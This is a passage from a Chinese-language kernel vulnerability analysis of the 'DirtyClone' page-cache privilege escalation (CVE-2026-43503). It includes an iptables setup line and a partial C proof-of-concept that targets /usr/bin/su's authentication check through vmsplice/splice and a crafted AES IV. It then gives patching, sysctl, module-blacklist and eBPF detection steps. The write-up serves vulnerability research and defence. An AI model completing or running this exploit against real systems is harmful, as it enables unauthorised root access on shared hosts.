# 镜像UDP 4500端口的包到自身 (触发__pskb_copy_fclone)
iptables -t mangle -A OUTPUT -p udp --dport 4500 -j TEE --gateway 10.99.0.2

echo "[*] 环境配置完成!"
echo "[*] 现在运行 dirtyclone_poc"

8.2 C语言PoC框架

/*
 * DirtyClone PoC 框架
 * CVE-2026-43503 利用代码框架
 *
 * 编译: gcc -o dirtyclone_poc dirtyclone_poc.c -static
 * 运行: 在 unshare -Urn 创建的命名空间中执行
 *
 * 警告: 仅用于授权安全研究!
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>

#define TARGET_BINARY "/usr/bin/su"
#define PATCH_OFFSET  0x4a3c    // 认证检查指令偏移 (需根据实际二进制确定)
#define BLOCK_SIZE    16        // AES块大小
#define ESP_PORT      4500      // IPsec NAT-T 端口

// ESP包结构 (简化)
struct esp_packet {
    uint8_t  spi[4];            // Security Parameters Index
    uint8_t  seq[4];            // Sequence Number
    uint8_t  iv[16];            // 初始化向量 (攻击者控制)
    uint8_t  payload[];         // 加密载荷 (将写入page cache)
} __attribute__((packed));

// 计算攻击IV (见第六节Python脚本的C实现)
static void compute_attack_iv(const uint8_t *iv_orig,
                               const uint8_t *original,
                               const uint8_t *target,
                               uint8_t *attack_iv)
{
    for (int i = 0; i < BLOCK_SIZE; i++) {
        attack_iv[i] = iv_orig[i] ^ original[i] ^ target[i];
    }
}

// Step 1: 映射目标二进制到page cache
static char *map_target_binary(size_t *map_size)
{
    int fd = open(TARGET_BINARY, O_RDONLY);
    if (fd < 0) {
        perror("[-] open target binary");
        return NULL;
    }

    size_t page_offset = PATCH_OFFSET & ~0xfffUL;
    *map_size = 0x2000;  // 映射2页

    char *p = mmap(NULL, *map_size, PROT_READ, MAP_SHARED, fd, page_offset);
    close(fd);
    
    if (p == MAP_FAILED) {
        perror("[-] mmap");
        return NULL;
    }

    printf("[+] Target binary mapped at %p (page cache)\n", p);
    return p;
}

// Step 2: vmsplice + splice 零拷贝附加
static int splice_pagecache_to_skb(char *map_addr, size_t offset)
{
    int pipefd[2];
    if (pipe(pipefd) < 0) {
        perror("[-] pipe");
        return -1;
    }

    int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        perror("[-] socket");
        return -1;
    }

    struct sockaddr_in dst = {
        .sin_family = AF_INET,
        .sin_port = htons(ESP_PORT),
        .sin_addr.s_addr = htonl(INADDR_LOOPBACK),
    };

    // vmsplice: 将page cache页引用灌入管道
    struct iovec iov = {
        .iov_base = map_addr + (offset & 0xfff),
        .iov_len = BLOCK_SIZE,
    };
    ssize_t ret = vmsplice(pipefd[1], &iov, 1, 0);
    if (ret < 0) {
        perror("[-] vmsplice");
        return -1;
    }
    printf("[+] vmsplice: %zd bytes spliced (page cache → pipe)\n", ret);

    // splice: 管道 → socket (创建引用page cache页的skb)
    ret = splice(pipefd[0], NULL, sockfd, NULL, BLOCK_SIZE, 0);
    if (ret < 0) {
        perror("[-] splice");
        return -1;
    }
    printf("[+] splice: %zd bytes (pipe → socket, skb frags = page cache)\n", ret);

    close(pipefd[0]);
    close(pipefd[1]);
    close(sockfd);
    return 0;
}

int main(int argc, char *argv[])
{
    printf("=== DirtyClone PoC Framework ===\n");
    printf("CVE-2026-43503 Page Cache Privilege Escalation\n\n");

    // Step 1: 映射目标二进制
    size_t map_size;
    char *map_addr = map_target_binary(&map_size);
    if (!map_addr) {
        fprintf(stderr, "[-] Failed to map target binary\n");
        return 1;
    }

    // 读取原始字节 (认证检查指令)
    uint8_t original[BLOCK_SIZE];
    memcpy(original, map_addr + (PATCH_OFFSET & 0xfff), BLOCK_SIZE);
    printf("[+] Original bytes at offset 0x%lx: ", (unsigned long)PATCH_OFFSET);
    for (int i = 0; i < BLOCK_SIZE; i++) printf("%02x ", original[i]);
    printf("\n");

    // 计算目标字节 (将jnz改为nop)
    uint8_t target[BLOCK_SIZE];
    memcpy(target, original, BLOCK_SIZE);
    // 假设jnz在偏移0: 0f 85 XX XX XX XX → 90 90 90 90 90 90
    target[0] = 0x90; target[1] = 0x90; target[2] = 0x90;
    target[3] = 0x90; target[4] = 0x90; target[5] = 0x90;
    printf("[+] Target bytes:                  ");
    for (int i = 0; i < BLOCK_SIZE; i++) printf("%02x ", target[i]);
    printf("\n");

    // 计算攻击IV
    uint8_t iv_original[BLOCK_SIZE] = {0};  // 从ESP包提取
    uint8_t attack_iv[BLOCK_SIZE];
    compute_attack_iv(iv_original, original, target, attack_iv);
    printf("[+] Attack IV:                     ");
    for (int i = 0; i < BLOCK_SIZE; i++) printf("%02x ", attack_iv[i]);
    printf("\n\n");

    // Step 2: 零拷贝附加page cache页到skb
    printf("[*] Step 2: Splicing page cache to skb...\n");
    if (splice_pagecache_to_skb(map_addr, PATCH_OFFSET) < 0) {
        fprintf(stderr, "[-] Splice failed\n");
        return 1;
    }

    // Step 3-6: 发送ESP包, 触发TEE克隆 + ESP解密
    // (实际利用中需要构造完整的ESP包, 此处省略)
    printf("[*] Step 3-6: ESP packet with attack IV sent\n");
    printf("[*] TEE clone triggers flag loss, ESP decrypt overwrites page cache\n\n");

    // Step 7: 执行被篡改的su
    printf("[*] Step 7: Executing patched /usr/bin/su...\n");
    printf("[*] Page cache now contains patched authentication check\n");
    // system("/usr/bin/su -");  // 实际提权

    printf("[+] Done. Check if root shell obtained.\n");

    munmap(map_addr, map_size);
    return 0;
}

九、防御方案

9.1 升级修复

首要防御是升级到Linux v7.1-rc5或更高版本。但关键在于必须确认完整的4-CVE修复链已应用:

# 检查内核版本
uname -r

# 检查4个CVE的修复是否都已应用
# CVE-2026-43284: splice/UDP SHARED_FRAG设置
# CVE-2026-43500: DirtyFrag标志设置
# CVE-2026-46300: Fragnesia coalescing继承
# CVE-2026-43503: DirtyClone fclone复制

# 检查修复补丁是否存在
grep -r "SKBFL_SHARED_FRAG" /usr/src/linux-*/net/core/skbuff.c
grep -r "__pskb_copy_fclone" /usr/src/linux-*/net/core/skbuff.c
┌──────────────────────────────────────────────────────────────┐
│              4-CVE 修复链完整性检查表                         │
├──────────────────────────────────────────────────────────────┤
│                                                              │
│  CVE-2026-43284  ──┐                                        │
│                    │                                        │
│  CVE-2026-43500  ──┼──→ 任一缺失 → 利用链可重建 → 不安全!  │
│                    │                                        │
│  CVE-2026-46300  ──┤                                        │
│                    │                                        │
│  CVE-2026-43503  ──┘                                        │
│                                                              │
│  必须全部应用才算安全!                                       │
│                                                              │
└──────────────────────────────────────────────────────────────┘

9.2 临时缓解措施

在无法立即升级的环境中,可采用以下缓解措施:

禁用非特权用户命名空间

DirtyClone利用链依赖unshare -Urn获取CAP_NET_ADMIN。禁用非特权用户命名空间可阻断这一入口:

# 临时禁用
sysctl -w kernel.unprivileged_userns_clone=0

# 永久禁用
echo "kernel.unprivileged_userns_clone=0" >> /etc/sysctl.d/99-dirtyclone.conf
sysctl -p /etc/sysctl.d/99-dirtyclone.conf

# 验证
cat /proc/sys/kernel/unprivileged_userns_clone
# 输出 0 表示已禁用

黑名单相关内核模块

阻断IPsec ESP模块的加载,切断ESP解密路径:

# 黑名单 esp4 (IPv4 ESP) 和 esp6 (IPv6 ESP) 模块
cat >> /etc/modprobe.d/dirtyclone-blacklist.conf << 'EOF'
blacklist esp4
blacklist esp6
blacklist rxrpc
EOF

# 如果模块已加载, 需要卸载
modprobe -r esp4 2>/dev/null
modprobe -r esp6 2>/dev/null
modprobe -r rxrpc 2>/dev/null

# 验证模块未加载
lsmod | grep -E "esp4|esp6|rxrpc"
# 无输出表示已卸载

限制TEE netfilter使用

如果无法禁用ESP模块,可限制非特权用户使用TEE:

# 限制非特权命名空间中的iptables/nftables
# 通过cgroup或seccomp限制CAP_NET_ADMIN的使用

9.3 受影响系统评估

发行版/环境 是否受影响 说明
Debian (默认) 是 默认启用非特权用户命名空间
Ubuntu (默认) 是 默认启用非特权用户命名空间
Fedora 是 默认启用非特权用户命名空间
RHEL 9/10 是 启用非特权用户命名空间
RHEL 6/7/8 否 默认禁用非特权用户命名空间
多租户云 高风险 共享内核, 容器间可利用
Kubernetes 高风险 Pod间共享内核
容器环境 高风险 容器逃逸+提权

9.4 eBPF检测规则部署

# 编译并加载DirtyClone检测eBPF程序
clang -O2 -g -target bpf -c detect_dirtyclone.bpf.c -o detect_dirtyclone.bpf.o

# 使用bpftool加载
bpftool prog load detect_dirtyclone.bpf.o /sys/fs/bpf/detect_dirtyclone

# 附加到kprobe
bpftool prog attach /sys/fs/bpf/detect_dirtyclone kprobe crypto_aead_decrypt

# 监控输出
cat /sys/kernel/debug/tracing/trace_pipe | grep DIRTYCLONE

十、总结

CVE-2026-43503 DirtyClone是DirtyFrag漏洞家族的第四个成员,揭示了Linux内核零拷贝路径中一个深层的设计缺陷。该漏洞利用链展示了现代内核设计中三种内存角色(page cache、sk_buff、原地转换)语义重叠时产生的安全风险。

DirtyClone的核心技术亮点包括:

  1. 标志丢失路径的创新:通过TEE netfilter规则触发__pskb_copy_fclone(),在克隆时丢失SKBFL_SHARED_FRAG标志,这是该家族中独特的利用路径。

  2. AES-CBC写入原语:将密码学解密操作转化为精确的内存写入原语,攻击者通过控制IV实现可控覆写,这一技术思路极具创造性。

  3. 真正的无痕攻击:仅修改page cache内存副本,磁盘文件不变,绕过所有基于磁盘哈希的文件完整性监控,不留内核日志和审计记录。

  4. 完整的7步利用链:从非特权用户到root,无需任何特殊权限(仅需默认开启的用户命名空间),攻击链设计精巧而完整。

该漏洞的防御需要完整应用4-CVE修复链,任何缺失都可能导致利用链重建。对于多租户云、Kubernetes和容器环境,风险尤为突出,因为这些环境共享内核且默认开启非特权用户命名空间。

DirtyClone也为内核安全设计提供了重要启示:零拷贝优化在带来性能提升的同时,必须严格维护内存语义边界。SKBFL_SHARED_FRAG标志的保护需要在所有可能的skb操作路径(发送、合并、克隆)中一致维护,任何遗漏都可能成为新的攻击面。


免责声明

本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。